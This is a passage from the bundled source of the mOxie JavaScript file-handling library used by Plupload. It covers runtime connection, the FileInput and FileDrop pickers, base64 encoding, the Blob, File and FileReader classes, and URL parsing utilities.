make sure we always have an array if (typeof(capMode) === 'string') { capMode = [capMode]; } if (!mode) { mode = capMode; } else if (!(mode = Basic.arrayIntersect(mode, capMode))) { // if cap requires conflicting mode - runtime cannot fulfill required caps if (MXI_DEBUG && Env.debug.runtime) { Env.log("\t\t%c: %v (conflicting mode requested: %s)", cap, value, capMode); } return (mode = false); } } if (MXI_DEBUG && Env.debug.runtime) { Env.log("\t\t%c: %v (compatible modes: %s)", cap, value, mode); } }); if (mode) { return Basic.inArray(defaultMode, mode) !== -1 ? defaultMode : mode[0]; } else if (mode === false) { return false; } } return defaultMode; }; /** Capability check that always returns true @private @static @return {True} */ Runtime.capTrue = function() { return true; }; /** Capability check that always returns false @private @static @return {False} */ Runtime.capFalse = function() { return false; }; /** Evaluate the expression to boolean value and create a function that always returns it. @private @static @param {Mixed} expr Expression to evaluate @return {Function} Function returning the result of evaluation */ Runtime.capTest = function(expr) { return function() { return !!expr; }; }; return Runtime; }); // Included from: src/javascript/runtime/RuntimeClient.js /** * RuntimeClient.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/runtime/RuntimeClient', [ 'moxie/core/utils/Env', 'moxie/core/Exceptions', 'moxie/core/utils/Basic', 'moxie/runtime/Runtime' ], function(Env, x, Basic, Runtime) { /** Set of methods and properties, required by a component to acquire ability to connect to a runtime @class RuntimeClient */ return function RuntimeClient() { var runtime; Basic.extend(this, { /** Connects to the runtime specified by the options. Will either connect to existing runtime or create a new one. Increments number of clients connected to the specified runtime. @private @method connectRuntime @param {Mixed} options Can be a runtme uid or a set of key-value pairs defining requirements and pre-requisites */ connectRuntime: function(options) { var comp = this, ruid; function initialize(items) { var type, constructor; // if we ran out of runtimes if (!items.length) { comp.trigger('RuntimeError', new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR)); runtime = null; return; } type = items.shift().toLowerCase(); constructor = Runtime.getConstructor(type); if (!constructor) { initialize(items); return; } if (MXI_DEBUG && Env.debug.runtime) { Env.log("Trying runtime: %s", type); Env.log(options); } // try initializing the runtime runtime = new constructor(options); runtime.bind('Init', function() { // mark runtime as initialized runtime.initialized = true; if (MXI_DEBUG && Env.debug.runtime) { Env.log("Runtime '%s' initialized", runtime.type); } // jailbreak ... setTimeout(function() { runtime.clients++; // this will be triggered on component comp.trigger('RuntimeInit', runtime); }, 1); }); runtime.bind('Error', function() { if (MXI_DEBUG && Env.debug.runtime) { Env.log("Runtime '%s' failed to initialize", runtime.type); } runtime.destroy(); // runtime cannot destroy itself from inside at a right moment, thus we do it here initialize(items); }); /*runtime.bind('Exception', function() { });*/ if (MXI_DEBUG && Env.debug.runtime) { Env.log("\tselected mode: %s", runtime.mode); } // check if runtime managed to pick-up operational mode if (!runtime.mode) { runtime.trigger('Error'); return; } runtime.init(); } // check if a particular runtime was requested if (Basic.typeOf(options) === 'string') { ruid = options; } else if (Basic.typeOf(options.ruid) === 'string') { ruid = options.ruid; } if (ruid) { runtime = Runtime.getRuntime(ruid); if (runtime) { runtime.clients++; return runtime; } else { // there should be a runtime and there's none - weird case throw new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR); } } // initialize a fresh one, that fits runtime list and required features best initialize((options.runtime_order || Runtime.order).split(/\s*,\s*/)); }, /** Disconnects from the runtime. Decrements number of clients connected to the specified runtime. @private @method disconnectRuntime */ disconnectRuntime: function() { if (runtime && --runtime.clients <= 0) { runtime.destroy(); } // once the component is disconnected, it shouldn't have access to the runtime runtime = null; }, /** Returns the runtime to which the client is currently connected. @method getRuntime @return {Runtime} Runtime or null if client is not connected */ getRuntime: function() { if (runtime && runtime.uid) { return runtime; } return runtime = null; // make sure we do not leave zombies rambling around }, /** Handy shortcut to safely invoke runtime extension methods. @private @method exec @return {Mixed} Whatever runtime extension method returns */ exec: function() { if (runtime) { return runtime.exec.apply(this, arguments); } return null; } }); }; }); // Included from: src/javascript/file/FileInput.js /** * FileInput.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/file/FileInput', [ 'moxie/core/utils/Basic', 'moxie/core/utils/Env', 'moxie/core/utils/Mime', 'moxie/core/utils/Dom', 'moxie/core/Exceptions', 'moxie/core/EventTarget', 'moxie/core/I18n', 'moxie/runtime/Runtime', 'moxie/runtime/RuntimeClient' ], function(Basic, Env, Mime, Dom, x, EventTarget, I18n, Runtime, RuntimeClient) { /** Provides a convenient way to create cross-browser file-picker. Generates file selection dialog on click, converts selected files to _File_ objects, to be used in conjunction with _Image_, preloaded in memory with _FileReader_ or uploaded to a server through _XMLHttpRequest_. @class FileInput @constructor @extends EventTarget @uses RuntimeClient @param {Object|String|DOMElement} options If options is string or node, argument is considered as _browse\_button_. @param {String|DOMElement} options.browse_button DOM Element to turn into file picker. @param {Array} [options.accept] Array of mime types to accept. By default accepts all. @param {String} [options.file='file'] Name of the file field (not the filename). @param {Boolean} [options.multiple=false] Enable selection of multiple files. @param {Boolean} [options.directory=false] Turn file input into the folder input (cannot be both at the same time). @param {String|DOMElement} [options.container] DOM Element to use as a container for file-picker. Defaults to parentNode for _browse\_button_. @param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support. @example <div id="container"> <a id="file-picker" href="javascript:;">Browse...</a> </div> <script> var fileInput = new mOxie.FileInput({ browse_button: 'file-picker', // or document.getElementById('file-picker') container: 'container', accept: [ {title: "Image files", extensions: "jpg,gif,png"} // accept only images ], multiple: true // allow multiple file selection }); fileInput.onchange = function(e) { // do something to files array console.info(e.target.files); // or this.files or fileInput.files }; fileInput.init(); // initialize </script> */ var dispatches = [ /** Dispatched when runtime is connected and file-picker is ready to be used. @event ready @param {Object} event */ 'ready', /** Dispatched right after [ready](#event_ready) event, and whenever [refresh()](#method_refresh) is invoked. Check [corresponding documentation entry](#method_refresh) for more info. @event refresh @param {Object} event */ /** Dispatched when selection of files in the dialog is complete. @event change @param {Object} event */ 'change', 'cancel', // TODO: might be useful /** Dispatched when mouse cursor enters file-picker area. Can be used to style element accordingly. @event mouseenter @param {Object} event */ 'mouseenter', /** Dispatched when mouse cursor leaves file-picker area. Can be used to style element accordingly. @event mouseleave @param {Object} event */ 'mouseleave', /** Dispatched when functional mouse button is pressed on top of file-picker area. @event mousedown @param {Object} event */ 'mousedown', /** Dispatched when functional mouse button is released on top of file-picker area. @event mouseup @param {Object} event */ 'mouseup' ]; function FileInput(options) { if (MXI_DEBUG) { Env.log("Instantiating FileInput..."); } var self = this, container, browseButton, defaults; // if flat argument passed it should be browse_button id if (Basic.inArray(Basic.typeOf(options), ['string', 'node']) !== -1) { options = { browse_button : options }; } // this will help us to find proper default container browseButton = Dom.get(options.browse_button); if (!browseButton) { // browse button is required throw new x.DOMException(x.DOMException.NOT_FOUND_ERR); } // figure out the options defaults = { accept: [{ title: I18n.translate('All Files'), extensions: '*' }], name: 'file', multiple: false, required_caps: false, container: browseButton.parentNode || document.body }; options = Basic.extend({}, defaults, options); // convert to object representation if (typeof(options.required_caps) === 'string') { options.required_caps = Runtime.parseCaps(options.required_caps); } // normalize accept option (could be list of mime types or array of title/extensions pairs) if (typeof(options.accept) === 'string') { options.accept = Mime.mimes2extList(options.accept); } container = Dom.get(options.container); // make sure we have container if (!container) { container = document.body; } // make container relative, if it's not if (Dom.getStyle(container, 'position') === 'static') { container.style.position = 'relative'; } container = browseButton = null; // IE RuntimeClient.call(self); Basic.extend(self, { /** Unique id of the component @property uid @protected @readOnly @type {String} @default UID */ uid: Basic.guid('uid_'), /** Unique id of the connected runtime, if any. @property ruid @protected @type {String} */ ruid: null, /** Unique id of the runtime container. Useful to get hold of it for various manipulations. @property shimid @protected @type {String} */ shimid: null, /** Array of selected mOxie.File objects @property files @type {Array} @default null */ files: null, /** Initializes the file-picker, connects it to runtime and dispatches event ready when done. @method init */ init: function() { self.bind('RuntimeInit', function(e, runtime) { self.ruid = runtime.uid; self.shimid = runtime.shimid; self.bind("Ready", function() { self.trigger("Refresh"); }, 999); // re-position and resize shim container self.bind('Refresh', function() { var pos, size, browseButton, shimContainer; browseButton = Dom.get(options.browse_button); shimContainer = Dom.get(runtime.shimid); // do not use runtime.getShimContainer(), since it will create container if it doesn't exist if (browseButton) { pos = Dom.getPos(browseButton, Dom.get(options.container)); size = Dom.getSize(browseButton); if (shimContainer) { Basic.extend(shimContainer.style, { top : pos.y + 'px', left : pos.x + 'px', width : size.w + 'px', height : size.h + 'px' }); } } shimContainer = browseButton = null; }); runtime.exec.call(self, 'FileInput', 'init', options); }); // runtime needs: options.required_features, options.runtime_order and options.container self.connectRuntime(Basic.extend({}, options, { required_caps: { select_file: true } })); }, /** Disables file-picker element, so that it doesn't react to mouse clicks. @method disable @param {Boolean} [state=true] Disable component if - true, enable if - false */ disable: function(state) { var runtime = this.getRuntime(); if (runtime) { runtime.exec.call(this, 'FileInput', 'disable', Basic.typeOf(state) === 'undefined' ? true : state); } }, /** Reposition and resize dialog trigger to match the position and size of browse_button element. @method refresh */ refresh: function() { self.trigger("Refresh"); }, /** Destroy component. @method destroy */ destroy: function() { var runtime = this.getRuntime(); if (runtime) { runtime.exec.call(this, 'FileInput', 'destroy'); this.disconnectRuntime(); } if (Basic.typeOf(this.files) === 'array') { // no sense in leaving associated files behind Basic.each(this.files, function(file) { file.destroy(); }); } this.files = null; this.unbindAll(); } }); this.handleEventProps(dispatches); } FileInput.prototype = EventTarget.instance; return FileInput; }); // Included from: src/javascript/core/utils/Encode.js /** * Encode.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/utils/Encode', [], function() { /** Encode string with UTF-8 @method utf8_encode @for Utils @static @param {String} str String to encode @return {String} UTF-8 encoded string */ var utf8_encode = function(str) { return unescape(encodeURIComponent(str)); }; /** Decode UTF-8 encoded string @method utf8_decode @static @param {String} str String to decode @return {String} Decoded string */ var utf8_decode = function(str_data) { return decodeURIComponent(escape(str_data)); }; /** Decode Base64 encoded string (uses browser's default method if available), from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_decode.js @method atob @static @param {String} data String to decode @return {String} Decoded string */ var atob = function(data, utf8) { if (typeof(window.atob) === 'function') { return utf8 ? utf8_decode(window.atob(data)) : window.atob(data); } // http://kevin.vanzonneveld.net // + original by: Tyler Akins (http://rumkin.com) // + improved by: Thunder.m // + input by: Aman Gupta // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // + bugfixed by: Onno Marsman // + bugfixed by: Pellentesque Malesuada // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // + input by: Brett Zamir (http://brett-zamir.me) // + bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // * example 1: base64_decode('S2V2aW4gdmFuIFpvbm5ldmVsZA=='); // * returns 1: 'Kevin van Zonneveld' // mozilla has this native // - but breaks in 2.0.0.12! //if (typeof this.window.atob == 'function') { // return atob(data); //} var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, ac = 0, dec = "", tmp_arr = []; if (!data) { return data; } data += ''; do { // unpack four hexets into three octets using index points in b64 h1 = b64.indexOf(data.charAt(i++)); h2 = b64.indexOf(data.charAt(i++)); h3 = b64.indexOf(data.charAt(i++)); h4 = b64.indexOf(data.charAt(i++)); bits = h1 << 18 | h2 << 12 | h3 << 6 | h4; o1 = bits >> 16 & 0xff; o2 = bits >> 8 & 0xff; o3 = bits & 0xff; if (h3 == 64) { tmp_arr[ac++] = String.fromCharCode(o1); } else if (h4 == 64) { tmp_arr[ac++] = String.fromCharCode(o1, o2); } else { tmp_arr[ac++] = String.fromCharCode(o1, o2, o3); } } while (i < data.length); dec = tmp_arr.join(''); return utf8 ? utf8_decode(dec) : dec; }; /** Base64 encode string (uses browser's default method if available), from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_encode.js @method btoa @static @param {String} data String to encode @return {String} Base64 encoded string */ var btoa = function(data, utf8) { if (utf8) { data = utf8_encode(data); } if (typeof(window.btoa) === 'function') { return window.btoa(data); } // http://kevin.vanzonneveld.net // + original by: Tyler Akins (http://rumkin.com) // + improved by: Bayron Guevara // + improved by: Thunder.m // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // + bugfixed by: Pellentesque Malesuada // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // + improved by: Rafał Kukawski (http://kukawski.pl) // * example 1: base64_encode('Kevin van Zonneveld'); // * returns 1: 'S2V2aW4gdmFuIFpvbm5ldmVsZA==' // mozilla has this native // - but breaks in 2.0.0.12! var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, ac = 0, enc = "", tmp_arr = []; if (!data) { return data; } do { // pack three octets into four hexets o1 = data.charCodeAt(i++); o2 = data.charCodeAt(i++); o3 = data.charCodeAt(i++); bits = o1 << 16 | o2 << 8 | o3; h1 = bits >> 18 & 0x3f; h2 = bits >> 12 & 0x3f; h3 = bits >> 6 & 0x3f; h4 = bits & 0x3f; // use hexets to index into b64, and append result to encoded string tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4); } while (i < data.length); enc = tmp_arr.join(''); var r = data.length % 3; return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3); }; return { utf8_encode: utf8_encode, utf8_decode: utf8_decode, atob: atob, btoa: btoa }; }); // Included from: src/javascript/file/Blob.js /** * Blob.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/file/Blob', [ 'moxie/core/utils/Basic', 'moxie/core/utils/Encode', 'moxie/runtime/RuntimeClient' ], function(Basic, Encode, RuntimeClient) { var blobpool = {}; /** @class Blob @constructor @param {String} ruid Unique id of the runtime, to which this blob belongs to @param {Object} blob Object "Native" blob object, as it is represented in the runtime */ function Blob(ruid, blob) { function _sliceDetached(start, end, type) { var blob, data = blobpool[this.uid]; if (Basic.typeOf(data) !== 'string' || !data.length) { return null; // or throw exception } blob = new Blob(null, { type: type, size: end - start }); blob.detach(data.substr(start, blob.size)); return blob; } RuntimeClient.call(this); if (ruid) { this.connectRuntime(ruid); } if (!blob) { blob = {}; } else if (Basic.typeOf(blob) === 'string') { // dataUrl or binary string blob = { data: blob }; } Basic.extend(this, { /** Unique id of the component @property uid @type {String} */ uid: blob.uid || Basic.guid('uid_'), /** Unique id of the connected runtime, if falsy, then runtime will have to be initialized before this Blob can be used, modified or sent @property ruid @type {String} */ ruid: ruid, /** Size of blob @property size @type {Number} @default 0 */ size: blob.size || 0, /** Mime type of blob @property type @type {String} @default '' */ type: blob.type || '', /** @method slice @param {Number} [start=0] */ slice: function(start, end, type) { if (this.isDetached()) { return _sliceDetached.apply(this, arguments); } return this.getRuntime().exec.call(this, 'Blob', 'slice', this.getSource(), start, end, type); }, /** Returns "native" blob object (as it is represented in connected runtime) or null if not found @method getSource @return {Blob} Returns "native" blob object or null if not found */ getSource: function() { if (!blobpool[this.uid]) { return null; } return blobpool[this.uid]; }, /** Detaches blob from any runtime that it depends on and initialize with standalone value @method detach @protected @param {DOMString} [data=''] Standalone value */ detach: function(data) { if (this.ruid) { this.getRuntime().exec.call(this, 'Blob', 'destroy'); this.disconnectRuntime(); this.ruid = null; } data = data || ''; // if dataUrl, convert to binary string if (data.substr(0, 5) == 'data:') { var base64Offset = data.indexOf(';base64,'); this.type = data.substring(5, base64Offset); data = Encode.atob(data.substring(base64Offset + 8)); } this.size = data.length; blobpool[this.uid] = data; }, /** Checks if blob is standalone (detached of any runtime) @method isDetached @protected @return {Boolean} */ isDetached: function() { return !this.ruid && Basic.typeOf(blobpool[this.uid]) === 'string'; }, /** Destroy Blob and free any resources it was using @method destroy */ destroy: function() { this.detach(); delete blobpool[this.uid]; } }); if (blob.data) { this.detach(blob.data); // auto-detach if payload has been passed } else { blobpool[this.uid] = blob; } } return Blob; }); // Included from: src/javascript/file/File.js /** * File.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/file/File', [ 'moxie/core/utils/Basic', 'moxie/core/utils/Mime', 'moxie/file/Blob' ], function(Basic, Mime, Blob) { /** @class File @extends Blob @constructor @param {String} ruid Unique id of the runtime, to which this blob belongs to @param {Object} file Object "Native" file object, as it is represented in the runtime */ function File(ruid, file) { if (!file) { // avoid extra errors in case we overlooked something file = {}; } Blob.apply(this, arguments); if (!this.type) { this.type = Mime.getFileMime(file.name); } // sanitize file name or generate new one var name; if (file.name) { name = file.name.replace(/\\/g, '/'); name = name.substr(name.lastIndexOf('/') + 1); } else if (this.type) { var prefix = this.type.split('/')[0]; name = Basic.guid((prefix !== '' ? prefix : 'file') + '_'); if (Mime.extensions[this.type]) { name += '.' + Mime.extensions[this.type][0]; // append proper extension if possible } } Basic.extend(this, { /** File name @property name @type {String} @default UID */ name: name || Basic.guid('file_'), /** Relative path to the file inside a directory @property relativePath @type {String} @default '' */ relativePath: '', /** Date of last modification @property lastModifiedDate @type {String} @default now */ lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString() // Thu Aug 23 2012 19:40:00 GMT+0400 (GET) }); } File.prototype = Blob.prototype; return File; }); // Included from: src/javascript/file/FileDrop.js /** * FileDrop.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/file/FileDrop', [ 'moxie/core/I18n', 'moxie/core/utils/Dom', 'moxie/core/Exceptions', 'moxie/core/utils/Basic', 'moxie/core/utils/Env', 'moxie/file/File', 'moxie/runtime/RuntimeClient', 'moxie/core/EventTarget', 'moxie/core/utils/Mime' ], function(I18n, Dom, x, Basic, Env, File, RuntimeClient, EventTarget, Mime) { /** Turn arbitrary DOM element to a drop zone accepting files. Converts selected files to _File_ objects, to be used in conjunction with _Image_, preloaded in memory with _FileReader_ or uploaded to a server through _XMLHttpRequest_. @example <div id="drop_zone"> Drop files here </div> <br /> <div id="filelist"></div> <script type="text/javascript"> var fileDrop = new mOxie.FileDrop('drop_zone'), fileList = mOxie.get('filelist'); fileDrop.ondrop = function() { mOxie.each(this.files, function(file) { fileList.innerHTML += '<div>' + file.name + '</div>'; }); }; fileDrop.init(); </script> @class FileDrop @constructor @extends EventTarget @uses RuntimeClient @param {Object|String} options If options has typeof string, argument is considered as options.drop_zone @param {String|DOMElement} options.drop_zone DOM Element to turn into a drop zone @param {Array} [options.accept] Array of mime types to accept. By default accepts all @param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support */ var dispatches = [ /** Dispatched when runtime is connected and drop zone is ready to accept files. @event ready @param {Object} event */ 'ready', /** Dispatched when dragging cursor enters the drop zone. @event dragenter @param {Object} event */ 'dragenter', /** Dispatched when dragging cursor leaves the drop zone. @event dragleave @param {Object} event */ 'dragleave', /** Dispatched when file is dropped onto the drop zone. @event drop @param {Object} event */ 'drop', /** Dispatched if error occurs. @event error @param {Object} event */ 'error' ]; function FileDrop(options) { if (MXI_DEBUG) { Env.log("Instantiating FileDrop..."); } var self = this, defaults; // if flat argument passed it should be drop_zone id if (typeof(options) === 'string') { options = { drop_zone : options }; } // figure out the options defaults = { accept: [{ title: I18n.translate('All Files'), extensions: '*' }], required_caps: { drag_and_drop: true } }; options = typeof(options) === 'object' ? Basic.extend({}, defaults, options) : defaults; // this will help us to find proper default container options.container = Dom.get(options.drop_zone) || document.body; // make container relative, if it is not if (Dom.getStyle(options.container, 'position') === 'static') { options.container.style.position = 'relative'; } // normalize accept option (could be list of mime types or array of title/extensions pairs) if (typeof(options.accept) === 'string') { options.accept = Mime.mimes2extList(options.accept); } RuntimeClient.call(self); Basic.extend(self, { uid: Basic.guid('uid_'), ruid: null, files: null, init: function() { self.bind('RuntimeInit', function(e, runtime) { self.ruid = runtime.uid; runtime.exec.call(self, 'FileDrop', 'init', options); self.dispatchEvent('ready'); }); // runtime needs: options.required_features, options.runtime_order and options.container self.connectRuntime(options); // throws RuntimeError }, destroy: function() { var runtime = this.getRuntime(); if (runtime) { runtime.exec.call(this, 'FileDrop', 'destroy'); this.disconnectRuntime(); } this.files = null; this.unbindAll(); } }); this.handleEventProps(dispatches); } FileDrop.prototype = EventTarget.instance; return FileDrop; }); // Included from: src/javascript/file/FileReader.js /** * FileReader.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/file/FileReader', [ 'moxie/core/utils/Basic', 'moxie/core/utils/Encode', 'moxie/core/Exceptions', 'moxie/core/EventTarget', 'moxie/file/Blob', 'moxie/runtime/RuntimeClient' ], function(Basic, Encode, x, EventTarget, Blob, RuntimeClient) { /** Utility for preloading o.Blob/o.File objects in memory. By design closely follows [W3C FileReader](http://www.w3.org/TR/FileAPI/#dfn-filereader) interface. Where possible uses native FileReader, where - not falls back to shims. @class FileReader @constructor FileReader @extends EventTarget @uses RuntimeClient */ var dispatches = [ /** Dispatched when the read starts. @event loadstart @param {Object} event */ 'loadstart', /** Dispatched while reading (and decoding) blob, and reporting partial Blob data (progess.loaded/progress.total). @event progress @param {Object} event */ 'progress', /** Dispatched when the read has successfully completed. @event load @param {Object} event */ 'load', /** Dispatched when the read has been aborted. For instance, by invoking the abort() method. @event abort @param {Object} event */ 'abort', /** Dispatched when the read has failed. @event error @param {Object} event */ 'error', /** Dispatched when the request has completed (either in success or failure). @event loadend @param {Object} event */ 'loadend' ]; function FileReader() { RuntimeClient.call(this); Basic.extend(this, { /** UID of the component instance. @property uid @type {String} */ uid: Basic.guid('uid_'), /** Contains current state of FileReader object. Can take values of FileReader.EMPTY, FileReader.LOADING and FileReader.DONE. @property readyState @type {Number} @default FileReader.EMPTY */ readyState: FileReader.EMPTY, /** Result of the successful read operation. @property result @type {String} */ result: null, /** Stores the error of failed asynchronous read operation. @property error @type {DOMError} */ error: null, /** Initiates reading of File/Blob object contents to binary string. @method readAsBinaryString @param {Blob|File} blob Object to preload */ readAsBinaryString: function(blob) { _read.call(this, 'readAsBinaryString', blob); }, /** Initiates reading of File/Blob object contents to dataURL string. @method readAsDataURL @param {Blob|File} blob Object to preload */ readAsDataURL: function(blob) { _read.call(this, 'readAsDataURL', blob); }, /** Initiates reading of File/Blob object contents to string. @method readAsText @param {Blob|File} blob Object to preload */ readAsText: function(blob) { _read.call(this, 'readAsText', blob); }, /** Aborts preloading process. @method abort */ abort: function() { this.result = null; if (Basic.inArray(this.readyState, [FileReader.EMPTY, FileReader.DONE]) !== -1) { return; } else if (this.readyState === FileReader.LOADING) { this.readyState = FileReader.DONE; } this.exec('FileReader', 'abort'); this.trigger('abort'); this.trigger('loadend'); }, /** Destroy component and release resources. @method destroy */ destroy: function() { this.abort(); this.exec('FileReader', 'destroy'); this.disconnectRuntime(); this.unbindAll(); } }); // uid must already be assigned this.handleEventProps(dispatches); this.bind('Error', function(e, err) { this.readyState = FileReader.DONE; this.error = err; }, 999); this.bind('Load', function(e) { this.readyState = FileReader.DONE; }, 999); function _read(op, blob) { var self = this; this.trigger('loadstart'); if (this.readyState === FileReader.LOADING) { this.trigger('error', new x.DOMException(x.DOMException.INVALID_STATE_ERR)); this.trigger('loadend'); return; } // if source is not o.Blob/o.File if (!(blob instanceof Blob)) { this.trigger('error', new x.DOMException(x.DOMException.NOT_FOUND_ERR)); this.trigger('loadend'); return; } this.result = null; this.readyState = FileReader.LOADING; if (blob.isDetached()) { var src = blob.getSource(); switch (op) { case 'readAsText': case 'readAsBinaryString': this.result = src; break; case 'readAsDataURL': this.result = 'data:' + blob.type + ';base64,' + Encode.btoa(src); break; } this.readyState = FileReader.DONE; this.trigger('load'); this.trigger('loadend'); } else { this.connectRuntime(blob.ruid); this.exec('FileReader', 'read', op, blob); } } } /** Initial FileReader state @property EMPTY @type {Number} @final @static @default 0 */ FileReader.EMPTY = 0; /** FileReader switches to this state when it is preloading the source @property LOADING @type {Number} @final @static @default 1 */ FileReader.LOADING = 1; /** Preloading is complete, this is a final state @property DONE @type {Number} @final @static @default 2 */ FileReader.DONE = 2; FileReader.prototype = EventTarget.instance; return FileReader; }); // Included from: src/javascript/core/utils/Url.js /** * Url.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/utils/Url', [], function() { /** Parse url into separate components and fill in absent parts with parts from current url, based on https://raw.github.com/kvz/phpjs/master/functions/url/parse_url.js @method parseUrl @for Utils @static @param {String} url Url to parse (defaults to empty string if undefined) @return {Object} Hash containing extracted uri components */ var parseUrl = function(url, currentUrl) { var key = ['source', 'scheme', 'authority', 'userInfo', 'user', 'pass', 'host', 'port', 'relative', 'path', 'directory', 'file', 'query', 'fragment'] , i = key.length , ports = { http: 80, https: 443 } , uri = {} , regex = /^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/ , m = regex.exec(url || '') ; while (i--) { if (m[i]) { uri[key[i]] = m[i]; } } // when url is relative, we set the origin and the path ourselves if (!uri.scheme) { // come up with defaults if (!currentUrl || typeof(currentUrl) === 'string') { currentUrl = parseUrl(currentUrl || document.location.href); } uri.scheme = currentUrl.scheme; uri.host = currentUrl.host; uri.port = currentUrl.port; var path = ''; // for urls without trailing slash we need to figure out the path if (/^[^\/]/.test(uri.path)) { path = currentUrl.path; // if path ends with a filename, strip it if (/\/[^\/]*\.[^\/]*$/.test(path)) { path = path.replace(/\/[^\/]+$/, '/'); } else { // avoid double slash at the end (see #127) path = path.replace(/\/?$/, '/'); } } uri.path = path + (uri.path || ''); // site may reside at domain.com or domain.com/subdir } if (!uri.port) { uri.port = ports[uri.scheme] || 80; } uri.port = parseInt(uri.port, 10); if (!uri.path) { uri.path = "/"; } delete uri.source; return uri; }; /** Resolve url - among other things will turn relative url to absolute @method resolveUrl @static @param {String|Object} url Either absolute or relative, or a result of parseUrl call @return {String} Resolved, absolute url */ var resolveUrl = function(url) { var ports = { // we ignore default ports http: 80, https: 443 } , urlp = typeof(url) === 'object' ? url : parseUrl(url); ; return urlp.scheme + '://' + urlp.host + (urlp.port !== ports[urlp.scheme] ? ':' + urlp.port : '') + urlp.path + (urlp.query ? urlp.query : ''); }; /** Check if specified url has the same origin as the current document @method hasSameOrigin @param {String|Object} url @return {Boolean} */ var hasSameOrigin = function(url) { function origin(url) { return [url.scheme, url.host, url.port].join('/'); } if (typeof url === 'string') { url = parseUrl(url); } return origin(parseUrl()) === origin(url); }; return { parseUrl: parseUrl, resolveUrl: resolveUrl, hasSameOrigin: hasSameOrigin }; }); // Included from: src/javascript/runtime/RuntimeTarget.js /** * RuntimeTarget.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/runtime/RuntimeTarget', [ 'moxie/core/utils/Basic', 'moxie/runtime/RuntimeClient', "moxie/core/EventTarget" ], function(Basic, RuntimeClient, EventTarget) { /** Instance of this class can be used as a target for the events dispatched by shims, when allowing them onto components is for either reason inappropriate @class RuntimeTarget @constructor @protected @extends EventTarget */ function RuntimeTarget() { this.uid = Basic.guid('uid_'); RuntimeClient.call(this); this.destroy = function() { this.disconnectRuntime(); this.unbindAll(); }; } RuntimeTarget.prototype = EventTarget.instance; return RuntimeTarget; }); // Included from: src/javascript/file/FileReaderSync.js /** * FileReaderSync.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/file/FileReaderSync', [ 'moxie/core/utils/Basic', 'moxie/runtime/RuntimeClient', 'moxie/core/utils/Encode' ], function(Basic, RuntimeClient, Encode) { /** Synchronous FileReader implementation. Something like this is available in WebWorkers environment, here it can be used to read only preloaded blobs/files and only below certain size (not yet sure what that'd be, but probably < 1mb). Not meant to be used directly by user. @class FileReaderSync @private @constructor */ return function() { RuntimeClient.call(this); Basic.extend(this, { uid: Basic.guid('uid_'), readAsBinaryString: function(blob) { return _read.call(this, 'readAsBinaryString', blob); }, readAsDataURL: function(blob) { return _read.call(this, 'readAsDataURL', blob); }, /*readAsArrayBuffer: function(blob) { return _read.call(this, 'readAsArrayBuffer', blob); },*/ readAsText: function(blob) { return _read.call(this, 'readAsText', blob); } }); function _read(op, blob) { if (blob.isDetached()) { var src = blob.getSource(); switch (op) { case 'readAsBinaryString': return src; case 'readAsDataURL': return 'data:' + blob.type + ';base64,' + Encode.btoa(src); case 'readAsText': var txt = ''; for (var i = 0, length = src.length; i < length; i++) { txt += String.fromCharCode(src[i]); } return txt; } } else { var result = this.connectRuntime(blob.ruid).exec.call(this, 'FileReaderSync', 'read', op, blob); this.disconnectRuntime(); return result; } } }; }); // Included from: src/javascript/xhr/FormData.js /** * FormData.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/xhr/FormData", [ "moxie/core/Exceptions", "moxie/core/utils/Basic", "moxie/file/Blob" ], function(x, Basic, Blob) { /** FormData @class FormData @constructor */ function FormData() { var _blob, _fields = []; Basic.extend(this, { /** Append another key-value pair to the FormData object @method append @param {String} name Name 